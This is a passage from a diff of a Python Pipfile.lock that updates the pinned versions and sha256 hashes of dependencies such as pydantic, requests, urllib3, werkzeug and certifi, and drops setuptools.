"sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", - "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", - "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", - "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", - "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", - "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", - "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", - "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", - "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", - "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", - "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", - "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", - "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", - "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", - "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", - "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", - "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", - "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", - "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", - "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", - "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" + "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", + "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc", + "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2", + "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460", + "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7", + "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0", + "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1", + "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa", + "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03", + "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323", + "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65", + "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013", + "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036", + "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f", + "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4", + "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419", + "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2", + "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619", + "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a", + "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a", + "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd", + "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7", + "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666", + "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65", + "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859", + "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625", + "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff", + "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156", + "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd", + "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba", + "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f", + "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1", + "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094", + "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a", + "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513", + "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed", + "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d", + "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3", + "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147", + "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c", + "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603", + "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601", + "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a", + "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1", + "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d", + "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3", + "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54", + "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2", + "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6", + "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58" ], "markers": "python_version >= '3.7'", - "version": "==2.1.1" + "version": "==2.1.2" }, "mongoengine": { "hashes": [ @@ -531,11 +609,12 @@ }, "pefile": { "hashes": [ - "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b" + "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc", + "sha256:da185cd2af68c08a6cd4481f7325ed600a88f6a813bad9dea07ab3ef73d8d8d6" ], "index": "pypi", "markers": "sys_platform == 'win32'", - "version": "==2022.5.30" + "version": "==2023.2.7" }, "pyaescrypt": { "hashes": [ @@ -554,45 +633,45 @@ }, "pydantic": { "hashes": [ - "sha256:05e00dbebbe810b33c7a7362f231893183bcc4251f3f2ff991c31d5c08240c42", - "sha256:06094d18dd5e6f2bbf93efa54991c3240964bb663b87729ac340eb5014310624", - "sha256:0b959f4d8211fc964772b595ebb25f7652da3f22322c007b6fed26846a40685e", - "sha256:19b3b9ccf97af2b7519c42032441a891a5e05c68368f40865a90eb88833c2559", - "sha256:1b6ee725bd6e83ec78b1aa32c5b1fa67a3a65badddde3976bca5fe4568f27709", - "sha256:1ee433e274268a4b0c8fde7ad9d58ecba12b069a033ecc4645bb6303c062d2e9", - "sha256:216f3bcbf19c726b1cc22b099dd409aa371f55c08800bcea4c44c8f74b73478d", - "sha256:2d0567e60eb01bccda3a4df01df677adf6b437958d35c12a3ac3e0f078b0ee52", - "sha256:2e05aed07fa02231dbf03d0adb1be1d79cabb09025dd45aa094aa8b4e7b9dcda", - "sha256:352aedb1d71b8b0736c6d56ad2bd34c6982720644b0624462059ab29bd6e5912", - "sha256:355639d9afc76bcb9b0c3000ddcd08472ae75318a6eb67a15866b87e2efa168c", - "sha256:37c90345ec7dd2f1bcef82ce49b6235b40f282b94d3eec47e801baf864d15525", - "sha256:4b8795290deaae348c4eba0cebb196e1c6b98bdbe7f50b2d0d9a4a99716342fe", - "sha256:5760e164b807a48a8f25f8aa1a6d857e6ce62e7ec83ea5d5c5a802eac81bad41", - "sha256:6eb843dcc411b6a2237a694f5e1d649fc66c6064d02b204a7e9d194dff81eb4b", - "sha256:7b5ba54d026c2bd2cb769d3468885f23f43710f651688e91f5fb1edcf0ee9283", - "sha256:7c2abc4393dea97a4ccbb4ec7d8658d4e22c4765b7b9b9445588f16c71ad9965", - "sha256:81a7b66c3f499108b448f3f004801fcd7d7165fb4200acb03f1c2402da73ce4c", - "sha256:91b8e218852ef6007c2b98cd861601c6a09f1aa32bbbb74fab5b1c33d4a1e410", - "sha256:9300fcbebf85f6339a02c6994b2eb3ff1b9c8c14f502058b5bf349d42447dcf5", - "sha256:9cabf4a7f05a776e7793e72793cd92cc865ea0e83a819f9ae4ecccb1b8aa6116", - "sha256:a1f5a63a6dfe19d719b1b6e6106561869d2efaca6167f84f5ab9347887d78b98", - "sha256:a4c805731c33a8db4b6ace45ce440c4ef5336e712508b4d9e1aafa617dc9907f", - "sha256:ae544c47bec47a86bc7d350f965d8b15540e27e5aa4f55170ac6a75e5f73b644", - "sha256:b97890e56a694486f772d36efd2ba31612739bc6f3caeee50e9e7e3ebd2fdd13", - "sha256:bb6ad4489af1bac6955d38ebcb95079a836af31e4c4f74aba1ca05bb9f6027bd", - "sha256:bedf309630209e78582ffacda64a21f96f3ed2e51fbf3962d4d488e503420254", - "sha256:c1ba1afb396148bbc70e9eaa8c06c1716fdddabaf86e7027c5988bae2a829ab6", - "sha256:c33602f93bfb67779f9c507e4d69451664524389546bacfe1bee13cae6dc7488", - "sha256:c4aac8e7103bf598373208f6299fa9a5cfd1fc571f2d40bf1dd1955a63d6eeb5", - "sha256:c6f981882aea41e021f72779ce2a4e87267458cc4d39ea990729e21ef18f0f8c", - "sha256:cc78cc83110d2f275ec1970e7a831f4e371ee92405332ebfe9860a715f8336e1", - "sha256:d49f3db871575e0426b12e2f32fdb25e579dea16486a26e5a0474af87cb1ab0a", - "sha256:dd3f9a40c16daf323cf913593083698caee97df2804aa36c4b3175d5ac1b92a2", - "sha256:e0bedafe4bc165ad0a56ac0bd7695df25c50f76961da29c050712596cf092d6d", - "sha256:e9069e1b01525a96e6ff49e25876d90d5a563bc31c658289a8772ae186552236" + "sha256:05a81b006be15655b2a1bae5faa4280cf7c81d0e09fcb49b342ebf826abe5a72", + "sha256:0b53e1d41e97063d51a02821b80538053ee4608b9a181c1005441f1673c55423", + "sha256:2b3ce5f16deb45c472dde1a0ee05619298c864a20cded09c4edd820e1454129f", + "sha256:2e82a6d37a95e0b1b42b82ab340ada3963aea1317fd7f888bb6b9dfbf4fff57c", + "sha256:301d626a59edbe5dfb48fcae245896379a450d04baeed50ef40d8199f2733b06", + "sha256:39f4a73e5342b25c2959529f07f026ef58147249f9b7431e1ba8414a36761f53", + "sha256:4948f264678c703f3877d1c8877c4e3b2e12e549c57795107f08cf70c6ec7774", + "sha256:4b05697738e7d2040696b0a66d9f0a10bec0efa1883ca75ee9e55baf511909d6", + "sha256:51bdeb10d2db0f288e71d49c9cefa609bca271720ecd0c58009bd7504a0c464c", + "sha256:55b1625899acd33229c4352ce0ae54038529b412bd51c4915349b49ca575258f", + "sha256:572066051eeac73d23f95ba9a71349c42a3e05999d0ee1572b7860235b850cc6", + "sha256:6a05a9db1ef5be0fe63e988f9617ca2551013f55000289c671f71ec16f4985e3", + "sha256:6dc1cc241440ed7ca9ab59d9929075445da6b7c94ced281b3dd4cfe6c8cff817", + "sha256:6e7124d6855b2780611d9f5e1e145e86667eaa3bd9459192c8dc1a097f5e9903", + "sha256:75d52162fe6b2b55964fbb0af2ee58e99791a3138588c482572bb6087953113a", + "sha256:78cec42b95dbb500a1f7120bdf95c401f6abb616bbe8785ef09887306792e66e", + "sha256:7feb6a2d401f4d6863050f58325b8d99c1e56f4512d98b11ac64ad1751dc647d", + "sha256:8775d4ef5e7299a2f4699501077a0defdaac5b6c4321173bcb0f3c496fbadf85", + "sha256:887ca463c3bc47103c123bc06919c86720e80e1214aab79e9b779cda0ff92a00", + "sha256:9193d4f4ee8feca58bc56c8306bcb820f5c7905fd919e0750acdeeeef0615b28", + "sha256:983e720704431a6573d626b00662eb78a07148c9115129f9b4351091ec95ecc3", + "sha256:990406d226dea0e8f25f643b370224771878142155b879784ce89f633541a024", + "sha256:9cbdc268a62d9a98c56e2452d6c41c0263d64a2009aac69246486f01b4f594c4", + "sha256:a48f1953c4a1d9bd0b5167ac50da9a79f6072c63c4cef4cf2a3736994903583e", + "sha256:a9a6747cac06c2beb466064dda999a13176b23535e4c496c9d48e6406f92d42d", + "sha256:a9f2de23bec87ff306aef658384b02aa7c32389766af3c5dee9ce33e80222dfa", + "sha256:b5635de53e6686fe7a44b5cf25fcc419a0d5e5c1a1efe73d49d48fe7586db854", + "sha256:b6f9d649892a6f54a39ed56b8dfd5e08b5f3be5f893da430bed76975f3735d15", + "sha256:b9a3859f24eb4e097502a3be1fb4b2abb79b6103dd9e2e0edb70613a4459a648", + "sha256:cd8702c5142afda03dc2b1ee6bc358b62b3735b2cce53fc77b31ca9f728e4bc8", + "sha256:d7b5a3821225f5c43496c324b0d6875fde910a1c2933d726a743ce328fbb2a8c", + "sha256:d88c4c0e5c5dfd05092a4b271282ef0588e5f4aaf345778056fc5259ba098857", + "sha256:eb992a1ef739cc7b543576337bebfc62c0e6567434e522e97291b251a41dad7f", + "sha256:f2f7eb6273dd12472d7f218e1fef6f7c7c2f00ac2e1ecde4db8824c457300416", + "sha256:fdf88ab63c3ee282c76d652fc86518aacb737ff35796023fae56a65ced1a5978", + "sha256:fdf8d759ef326962b4678d89e275ffc55b7ce59d917d9f72233762061fd04a2d" ], "index": "pypi", - "version": "==1.10.2" + "version": "==1.10.4" }, "pyinstaller": { "hashes": [ @@ -613,11 +692,11 @@ }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:91ecb30db757a8db8b6661d91d5df99e0998245f05f5cfaade0550922c7030a3", - "sha256:e06d0881e599d94dc39c6ed1917f0ad9b1858a2478b9892faac18bd48bcdc2de" + "sha256:29d052eb73e0ab8f137f11df8e73d464c1c6d4c3044d9dc8df2af44639d8bfbf", + "sha256:bd578781cd6a33ef713584bf3726f7cd60a3e656ec08a6cc7971e39990808cc0" ], "markers": "python_version >= '3.7'", - "version": "==2022.13" + "version": "==2023.0" }, "pyjwt": { "hashes": [ @@ -752,31 +831,36 @@ }, "pyrsistent": { "hashes": [ - "sha256:055ab45d5911d7cae397dc418808d8802fb95262751872c841c170b0dbf51eed", - "sha256:111156137b2e71f3a9936baf27cb322e8024dac3dc54ec7fb9f0bcf3249e68bb", - "sha256:187d5730b0507d9285a96fca9716310d572e5464cadd19f22b63a6976254d77a", - "sha256:21455e2b16000440e896ab99e8304617151981ed40c29e9507ef1c2e4314ee95", - "sha256:2aede922a488861de0ad00c7630a6e2d57e8023e4be72d9d7147a9fcd2d30712", - "sha256:3ba4134a3ff0fc7ad225b6b457d1309f4698108fb6b35532d015dca8f5abed73", - "sha256:456cb30ca8bff00596519f2c53e42c245c09e1a4543945703acd4312949bfd41", - "sha256:71d332b0320642b3261e9fee47ab9e65872c2bd90260e5d225dabeed93cbd42b", - "sha256:879b4c2f4d41585c42df4d7654ddffff1239dc4065bc88b745f0341828b83e78", - "sha256:9cd3e9978d12b5d99cbdc727a3022da0430ad007dacf33d0bf554b96427f33ab", - "sha256:a178209e2df710e3f142cbd05313ba0c5ebed0a55d78d9945ac7a4e09d923308", - "sha256:b39725209e06759217d1ac5fcdb510e98670af9e37223985f330b611f62e7425", - "sha256:bfa0351be89c9fcbcb8c9879b826f4353be10f58f8a677efab0c017bf7137ec2", - "sha256:bfd880614c6237243ff53a0539f1cb26987a6dc8ac6e66e0c5a40617296a045e", - "sha256:c43bec251bbd10e3cb58ced80609c5c1eb238da9ca78b964aea410fb820d00d6", - "sha256:d690b18ac4b3e3cab73b0b7aa7dbe65978a172ff94970ff98d82f2031f8971c2", - "sha256:d6982b5a0237e1b7d876b60265564648a69b14017f3b5f908c5be2de3f9abb7a", - "sha256:dec3eac7549869365fe263831f576c8457f6c833937c68542d08fde73457d291", - "sha256:e371b844cec09d8dc424d940e54bba8f67a03ebea20ff7b7b0d56f526c71d584", - "sha256:e5d8f84d81e3729c3b506657dddfe46e8ba9c330bf1858ee33108f8bb2adb38a", - "sha256:ea6b79a02a28550c98b6ca9c35b9f492beaa54d7c5c9e9949555893c8a9234d0", - "sha256:f1258f4e6c42ad0b20f9cfcc3ada5bd6b83374516cd01c0960e3cb75fdca6770" + "sha256:016ad1afadf318eb7911baa24b049909f7f3bb2c5b1ed7b6a8f21db21ea3faa8", + "sha256:1a2994773706bbb4995c31a97bc94f1418314923bd1048c6d964837040376440", + "sha256:20460ac0ea439a3e79caa1dbd560344b64ed75e85d8703943e0b66c2a6150e4a", + "sha256:3311cb4237a341aa52ab8448c27e3a9931e2ee09561ad150ba94e4cfd3fc888c", + "sha256:3a8cb235fa6d3fd7aae6a4f1429bbb1fec1577d978098da1252f0489937786f3", + "sha256:3ab2204234c0ecd8b9368dbd6a53e83c3d4f3cab10ecaf6d0e772f456c442393", + "sha256:42ac0b2f44607eb92ae88609eda931a4f0dfa03038c44c772e07f43e738bcac9", + "sha256:49c32f216c17148695ca0e02a5c521e28a4ee6c5089f97e34fe24163113722da", + "sha256:4b774f9288dda8d425adb6544e5903f1fb6c273ab3128a355c6b972b7df39dcf", + "sha256:4c18264cb84b5e68e7085a43723f9e4c1fd1d935ab240ce02c0324a8e01ccb64", + "sha256:5a474fb80f5e0d6c9394d8db0fc19e90fa540b82ee52dba7d246a7791712f74a", + "sha256:64220c429e42a7150f4bfd280f6f4bb2850f95956bde93c6fda1b70507af6ef3", + "sha256:878433581fc23e906d947a6814336eee031a00e6defba224234169ae3d3d6a98", + "sha256:99abb85579e2165bd8522f0c0138864da97847875ecbd45f3e7e2af569bfc6f2", + "sha256:a2471f3f8693101975b1ff85ffd19bb7ca7dd7c38f8a81701f67d6b4f97b87d8", + "sha256:aeda827381f5e5d65cced3024126529ddc4289d944f75e090572c77ceb19adbf", + "sha256:b735e538f74ec31378f5a1e3886a26d2ca6351106b4dfde376a26fc32a044edc", + "sha256:c147257a92374fde8498491f53ffa8f4822cd70c0d85037e09028e478cababb7", + "sha256:c4db1bd596fefd66b296a3d5d943c94f4fac5bcd13e99bffe2ba6a759d959a28", + "sha256:c74bed51f9b41c48366a286395c67f4e894374306b197e62810e0fdaf2364da2", + "sha256:c9bb60a40a0ab9aba40a59f68214eed5a29c6274c83b2cc206a359c4a89fa41b", + "sha256:cc5d149f31706762c1f8bda2e8c4f8fead6e80312e3692619a75301d3dbb819a", + "sha256:ccf0d6bd208f8111179f0c26fdf84ed7c3891982f2edaeae7422575f47e66b64", + "sha256:e42296a09e83028b3476f7073fcb69ffebac0e66dbbfd1bd847d61f74db30f19", + "sha256:e8f2b814a3dc6225964fa03d8582c6e0b6650d68a232df41e3cc1b66a5d2f8d1", + "sha256:f0774bf48631f3a20471dd7c5989657b639fd2d285b861237ea9e82c36a415a9", + "sha256:f0e7c4b2f77593871e918be000b96c8107da48444d57005b6a6bc61fb4331b2c" ], "markers": "python_version >= '3.7'", - "version": "==0.19.2" + "version": "==0.19.3" }, "python-dateutil": { "hashes": [ @@ -788,10 +872,10 @@ }, "pytz": { "hashes": [ - "sha256:222439474e9c98fced559f1709d89e6c9cbf8d79c794ff3eb9f8800064291427", - "sha256:e89512406b793ca39f5971bc999cc538ce125c0e51c27941bef4568b460095e2" + "sha256:01a0681c4b9684a28304615eba55d1ab31ae00bf68ec157ec3708a8182dbbcd0", + "sha256:78f4f37d8198e0627c5f1143240bb0206b8691d8d7ac6d78fee88b78733f8c4a" ], - "version": "==2022.6" + "version": "==2022.7.1" }, "pywin32": { "hashes": [ @@ -879,18 +963,18 @@ }, "requests": { "hashes": [ - "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983", - "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349" + "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa", + "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf" ], "index": "pypi", - "version": "==2.28.1" + "version": "==2.28.2" }, "ring": { "hashes": [ - "sha256:b077ec88c2dc179514a8e1fccd37fb1d5a6d2688891bb6e1ed9c33c4970e5424" + "sha256:8d67e3b46372199b2a4501dc1ff5f8a812a82dec9444f85f95e157366bcf832f" ], "index": "pypi", - "version": "==0.9.1" + "version": "==0.10.0" }, "s3transfer": { "hashes": [ @@ -916,14 +1000,6 @@ "index": "pypi", "version": "==2.13.0" }, - "setuptools": { - "hashes": [ - "sha256:6211d2f5eddad8757bd0484923ca7c0a6302ebc4ab32ea5e94357176e0ca0840", - "sha256:d1eebf881c6114e51df1664bc2c9133d022f78d12d5f4f665b9191f084e2862d" - ], - "markers": "python_version >= '3.7'", - "version": "==65.6.0" - }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -942,40 +1018,40 @@ }, "urllib3": { "hashes": [ - "sha256:3fa96cf423e6987997fc326ae8df396db2a8b7c667747d47ddd8ecba91f4a74e", - "sha256:b930dd878d5a8afb066a637fbb35144fe7901e3b209d1cd4f524bd0e9deee997" + "sha256:076907bf8fd355cde77728471316625a4d2f7e713c125f51953bb5b3eecf4f72", + "sha256:75edcdc2f7d85b137124a6c3c9fc3933cdeaa12ecb9a6a959f22797a0feca7e1" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' and python_version < '4'", - "version": "==1.26.12" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.26.14" }, "werkzeug": { "hashes": [ - "sha256:7ea2d48322cc7c0f8b3a215ed73eabd7b5d75d0b50e31ab006286ccff9e00b8f", - "sha256:f979ab81f58d7318e064e99c4506445d60135ac5cd2e177a2de0089bfd4c9bd5" + "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe", + "sha256:56433961bc1f12533306c624f3be5e744389ac61d722175d543e1751285da612" ], "index": "pypi", - "version": "==2.2.2" + "version": "==2.2.3" }, "wirerope": { "hashes": [ - "sha256:72cd28d5afd639c07fb2cd470492514c710db8b768e4d4528f3e0bdd5b0fbd9c" + "sha256:f3961039218276283c5037da0fa164619def0327595f10892d562a61a8603990" ], - "version": "==0.4.5" + "version": "==0.4.7" }, "zipp": { "hashes": [ - "sha256:4fcb6f278987a6605757302a6e40e896257570d11c51628968ccb2a47e80c6c1", - "sha256:7a7262fd930bd3e36c50b9a64897aec3fafff3dfdeec9623ae22b40e93f99bb8" + "sha256:23f70e964bc11a34cef175bc90ba2914e1e4545ea1e3e2f67c079671883f9cb6", + "sha256:e8b2a36ea17df80ffe9e2c4fda3f693c3dad6df1697d3cd3af232db680950b0b" ], "markers": "python_version >= '3.7'", - "version": "==3.10.0" + "version": "==3.13.0" }, "zope.event": { "hashes": [ - "sha256:2666401939cdaa5f4e0c08cf7f20c9b21423b95e88f4675b1443973bdb080c42", - "sha256:5e76517f5b9b119acf37ca8819781db6c16ea433f7e2062c4afc2b6fbedb1330" + "sha256:73d9e3ef750cca14816a9c322c7250b0d7c9dbc337df5d1b807ff8d3d0b9e97c", + "sha256:81d98813046fc86cc4136e3698fee628a3282f9c320db18658c21749235fce80" ], - "version": "==4.5.0" + "version": "==4.6" }, "zope.interface": { "hashes": [ @@ -1023,18 +1099,19 @@ "develop": { "alabaster": { "hashes": [ - "sha256:446438bdcca0e05bd45ea2de1668c1d9b032e1a9154c2c259092d77031ddd359", - "sha256:a661d72d58e6ea8a57f7a86e37d86716863ee5e92788398526d58b26a4e4dc02" + "sha256:1ee19aca801bbabb5ba3f5f258e4422dfa86f82f3e9cefb0859b283cdd7f62a3", + "sha256:a27a4a084d5e690e16e01e03ad2b2e552c61a65469419b907243193de1a84ae2" ], - "version": "==0.7.12" + "markers": "python_version >= '3.6'", + "version": "==0.7.13" }, "attrs": { "hashes": [ - "sha256:29adc2665447e5191d0e7c568fde78b21f9672d344281d0c6e1ab085429b22b6", - "sha256:86efa402f67bf2df34f51a335487cf46b1ec130d02b8d39fd248abfd30da551c" + "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836", + "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99" ], - "markers": "python_version >= '3.5'", - "version": "==22.1.0" + "markers": "python_version >= '3.6'", + "version": "==22.2.0" }, "babel": { "hashes": [ @@ -1075,19 +1152,105 @@ }, "certifi": { "hashes": [ - "sha256:0d9c601124e5a6ba9712dbc60d9c53c21e34f5f641fe83002317394311bdce14", - "sha256:90c1a32f1d68f940488354e36370f6cca89f0f106db09518524c88d6ed83f382" + "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3", + "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18" ], "markers": "python_version >= '3.6'", - "version": "==2022.9.24" + "version": "==2022.12.7" }, "charset-normalizer": { "hashes": [ - "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845", - "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f" + "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", + "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", + "sha256:0298eafff88c99982a4cf66ba2efa1128e4ddaca0b05eec4c456bbc7db691d8d", + "sha256:02a51034802cbf38db3f89c66fb5d2ec57e6fe7ef2f4a44d070a593c3688667b", + "sha256:083c8d17153ecb403e5e1eb76a7ef4babfc2c48d58899c98fcaa04833e7a2f9a", + "sha256:0a11e971ed097d24c534c037d298ad32c6ce81a45736d31e0ff0ad37ab437d59", + "sha256:0bf2dae5291758b6f84cf923bfaa285632816007db0330002fa1de38bfcb7154", + "sha256:0c0a590235ccd933d9892c627dec5bc7511ce6ad6c1011fdf5b11363022746c1", + "sha256:0f438ae3532723fb6ead77e7c604be7c8374094ef4ee2c5e03a3a17f1fca256c", + "sha256:109487860ef6a328f3eec66f2bf78b0b72400280d8f8ea05f69c51644ba6521a", + "sha256:11b53acf2411c3b09e6af37e4b9005cba376c872503c8f28218c7243582df45d", + "sha256:12db3b2c533c23ab812c2b25934f60383361f8a376ae272665f8e48b88e8e1c6", + "sha256:14e76c0f23218b8f46c4d87018ca2e441535aed3632ca134b10239dfb6dadd6b", + "sha256:16a8663d6e281208d78806dbe14ee9903715361cf81f6d4309944e4d1e59ac5b", + "sha256:292d5e8ba896bbfd6334b096e34bffb56161c81408d6d036a7dfa6929cff8783", + "sha256:2c03cc56021a4bd59be889c2b9257dae13bf55041a3372d3295416f86b295fb5", + "sha256:2e396d70bc4ef5325b72b593a72c8979999aa52fb8bcf03f701c1b03e1166918", + "sha256:2edb64ee7bf1ed524a1da60cdcd2e1f6e2b4f66ef7c077680739f1641f62f555", + "sha256:31a9ddf4718d10ae04d9b18801bd776693487cbb57d74cc3458a7673f6f34639", + "sha256:356541bf4381fa35856dafa6a965916e54bed415ad8a24ee6de6e37deccf2786", + "sha256:358a7c4cb8ba9b46c453b1dd8d9e431452d5249072e4f56cfda3149f6ab1405e", + "sha256:37f8febc8ec50c14f3ec9637505f28e58d4f66752207ea177c1d67df25da5aed", + "sha256:39049da0ffb96c8cbb65cbf5c5f3ca3168990adf3551bd1dee10c48fce8ae820", + "sha256:39cf9ed17fe3b1bc81f33c9ceb6ce67683ee7526e65fde1447c772afc54a1bb8", + "sha256:3ae1de54a77dc0d6d5fcf623290af4266412a7c4be0b1ff7444394f03f5c54e3", + "sha256:3b590df687e3c5ee0deef9fc8c547d81986d9a1b56073d82de008744452d6541", + "sha256:3e45867f1f2ab0711d60c6c71746ac53537f1684baa699f4f668d4c6f6ce8e14", + "sha256:3fc1c4a2ffd64890aebdb3f97e1278b0cc72579a08ca4de8cd2c04799a3a22be", + "sha256:4457ea6774b5611f4bed5eaa5df55f70abde42364d498c5134b7ef4c6958e20e", + "sha256:44ba614de5361b3e5278e1241fda3dc1838deed864b50a10d7ce92983797fa76", + "sha256:4a8fcf28c05c1f6d7e177a9a46a1c52798bfe2ad80681d275b10dcf317deaf0b", + "sha256:4b0d02d7102dd0f997580b51edc4cebcf2ab6397a7edf89f1c73b586c614272c", + "sha256:502218f52498a36d6bf5ea77081844017bf7982cdbe521ad85e64cabee1b608b", + "sha256:503e65837c71b875ecdd733877d852adbc465bd82c768a067badd953bf1bc5a3", + 